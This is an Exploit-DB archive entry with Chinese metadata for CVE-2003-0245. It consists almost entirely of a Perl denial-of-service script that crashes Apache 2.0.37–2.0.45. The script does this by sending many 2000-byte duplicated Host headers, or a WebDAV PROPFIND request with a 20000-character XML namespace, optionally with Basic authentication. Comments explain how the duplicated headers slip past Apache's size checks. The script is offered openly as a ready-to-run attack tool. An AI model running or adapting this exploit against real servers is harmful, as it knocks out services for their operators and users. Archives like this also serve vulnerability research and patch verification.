标题: Apache 2.0.45 - 'APR' Crash EDB-ID: 38 CVE: 2003-0245 类型: DOS 平台: LINUX 发布日期: 2003-06-08 漏洞利用脚本: #!/usr/bin/perl
#
# Apache 2.0.37 - 2.0.45 APR Exploit
# Written By Matthew Murphy
#
# This Perl script will successfully exploit any un-patched Apache 2.x
# servers.
#

# Base64 Encoder
#
# If you want authentication with the server via HTTP's lame Basic
# auth, put the proper string to encode BASE64 content, and use
# '%s' to represent the credentials being encoded.  For instance:
#
# base64 %s
#
# would result in:
#
# base64 userid:password
#
# If your decoder requires you to use STDIN to pass the password
# (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
# use '%s' on the command-line.
$BASE64_CMD_STRING = "use_base64_encoder_here %s";

# Base64 encoder piping
#
# If your encoder requires the password to be written to STDIN,
# set this to a nonzero value.  NOTE: This requires support for 
# bi-directional pipes on your OS version.
$BASE64_USE_STDIN = 0;

# Base64 encoder input handling
#
# If your encoder requires a newline after your credentials, 
# set this to your newline character.
$BASE64_WRITE_NL = "";

use IO::Socket;
print STDOUT "Apache 2.0 APR Exploit\r\n";
print STDOUT "By Matthew Murphy\r\n\r\n";
print STDOUT "Enter the hostname/IP address of the server: ";
$line = <STDIN>;
$host = mychomp($line);
print STDOUT "Enter the port of the server \[80\]: ";
$line = <STDIN>;
$port = mychomp($line);
print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
 print STDOUT "What username shall we use: ";
 $line = <STDIN>;
 $user = mychomp($line);
 print STDOUT "What password shall we use: ";
 $line = <STDIN>;
 $pass = mychomp($line);
 $auth = "$user:$pass";
 if ($BASE64_USE_STDIN) {
  # l33t Perl piping trix; NOTE: This is definitely
  # Alpha code! :-)
  pipe(STDOUTREAD, STDOUTWRITE);
  pipe(STDINREAD, STDINWRITE);
  open(OLDSTDIN, "&STDIN");
  open(OLDSTDOUT, ">&STDOUT");
  open(STDIN, "&STDINREAD");
  open(STDOUT, ">&STDOUTWRITE");
  close(STDINREAD);
  close(STDOUTWRITE);
  system($BASE64_CMD_STRING);
  open(STDIN, "&OLDSTDIN");
  open(STDOUT, "&>OLDSTDOUT");
  close(OLDSTDIN);
  close(OLDSTDOUT);
  print STDINWRITE $auth;
  close(STDINWRITE);
  read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
  close(STDOUTREAD);
 } else {
  open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
  read(READOUTPUT, $base64, 4096); # See above
  close(READOUTPUT);
 }
 # Another hack for dealing with base64 encoders that output 
 # multi-lined encoded text.  HTTP specifically calls for a 
 # single line.  Note that this pattern also messes with spaces, 
 # tabs, etc., but base64 doesn't use those either, so this 
 # shouldn't matter.
 $base64 = join("", split(/ /, $base64));
} else {
 $base64 = undef;
}
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
print STDOUT "Exploiting a proxy server \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
 print $f "GET / HTTP/1.1\x0d\x0a";

 # Apache 2.0 tries to limit header inputs, but uses a hash table 
 # that ultimately concatenates multiple headers of the same name 
 # together with ", " between them, so:
 #
 # Host: a
 # Host: b
 #
 # Bypasses Apache's buffer size checks, but ends up as:
 #
 # Host: a,b
 #
 # When processed.  Confirm this with a TRACE against your server:
 #
 # TRACE / HTTP/1.1
 # Host: a
 # Host: b
 #
 # The "message/http" body you receive will contain:
 #
 # TRACE / HTTP/1.1
 # Host: a,b
 #
 # So, for those of you who are confused by this code fragment, 
 # this is what it ultimately achieves!
 for ($i = 0; $i < 10; $i++) {
  print $f "Host: ".("A"x2000)."\r\n";
 }
 if (defined($base64)) {
  print $f "Proxy-Authorization: Basic ".$base64."\r\n";
 }
 print $f "\r\n";
} else {
 print STDOUT "What resource should be probed: ";
 $line = <STDIN>;
 $res = mychomp($line);
 print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
 $line = <STDIN>;
 $char = mychomp($line);
 if ($char == "Y" || $char == "y") {
  # WARNING:
  # Another section of alpha code here; mod_dav tends to barf
  # if given the smallest inconsistency, and this is not 
  # exactly well-researched.  If this doesn't work for you, 
  # target your DAV repository as a typical resource: if 
  # UseCanonicalName On hasn't been set explicitly, mod_dav 
  # will choke on that as well.
  #
  # STunnel should not have issues with this, as you can't 
  # use a "Host" header in an SSL connection anyway, so 
  # that is no problem.
  #
  # Note that if the body is too long, IIS servers will also 
  # die (assuming of course, that the latest IIS cumulative 
  # patch has not been applied), as they have had problems 
  # dealing with WebDAV in the very recent past.

  # XML Body of Request
  #
  # If everything works, mod_dav will attempt to format a 
  # message with apr_psprintf() to indicate that our 
  # namespace is invalid, leading to a crash.
  $xmlbody = "<?xml version=\"1.0\"?>\r\n";
  $xmlbody.= "<D:propfind xmlns:D=\"".("A"x20000)."\:\">\r\n";
  $xmlbody.= "\x20\x20\x20\x20<D:allprop/>\r\n";
  $xmlbody.= "</D:propfind>";

  # HTTP headers
  print $f "PROPFIND $res HTTP/1.1\r\n";
  print $f "Host: $host:$port\r\n";
  print $f "Depth: 1\r\n";
  print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n";
  print $f "Content-Length: ".length($body)."\r\n\r\n";
  if (defined($base64)) {
   print $f "Authorization: Basic ".$base64."\r\n";
  }
  print $f "$xmlbody\r\n\r\n";
 } else {
  # This does *almost* the exact same thing as the mod_proxy 
  # code, and could be considered wasteful, but a few extra 
  # CPU cycles never killed anybody. :-(
  print $f "GET $res HTTP/1.1\r\n";
  for ($i = 0; $i < 10; $i++) {
   print $f "Host: ".("A"x2000)."\r\n";
  }
  if (defined($base64)) {
   print $f "Authorization: Basic ".$base64."\r\n";
  }
  print $f "\r\n";
 }
}
while (defined($ln = <$f>)) {
 print STDOUT $ln;
}
undef $f;
exit;

# FIXED: The perl chomp() function is broken on my distro,
# so I hacked a fix to work around it.  This note applies
# to ActivePerl 5.8.x -- I haven't tried others.  This is
# another hackish fix, which seems to be the entire style
# of this code.  I'll write better toys when I have time to
# write better toys.
sub mychomp {
 my $data;
 my $arg = shift;
 my $CRLF;
 if ($^O == "MSWin32") {
  $CRLF = 1;
 } else {
  $CRLF = 0;
 }
 $data = substr($arg, 0, length($arg) - $CRLF);
 return $data;
}


# milw0rm.com [2003-06-08] URL: https://www.exploit-db.com/exploits/38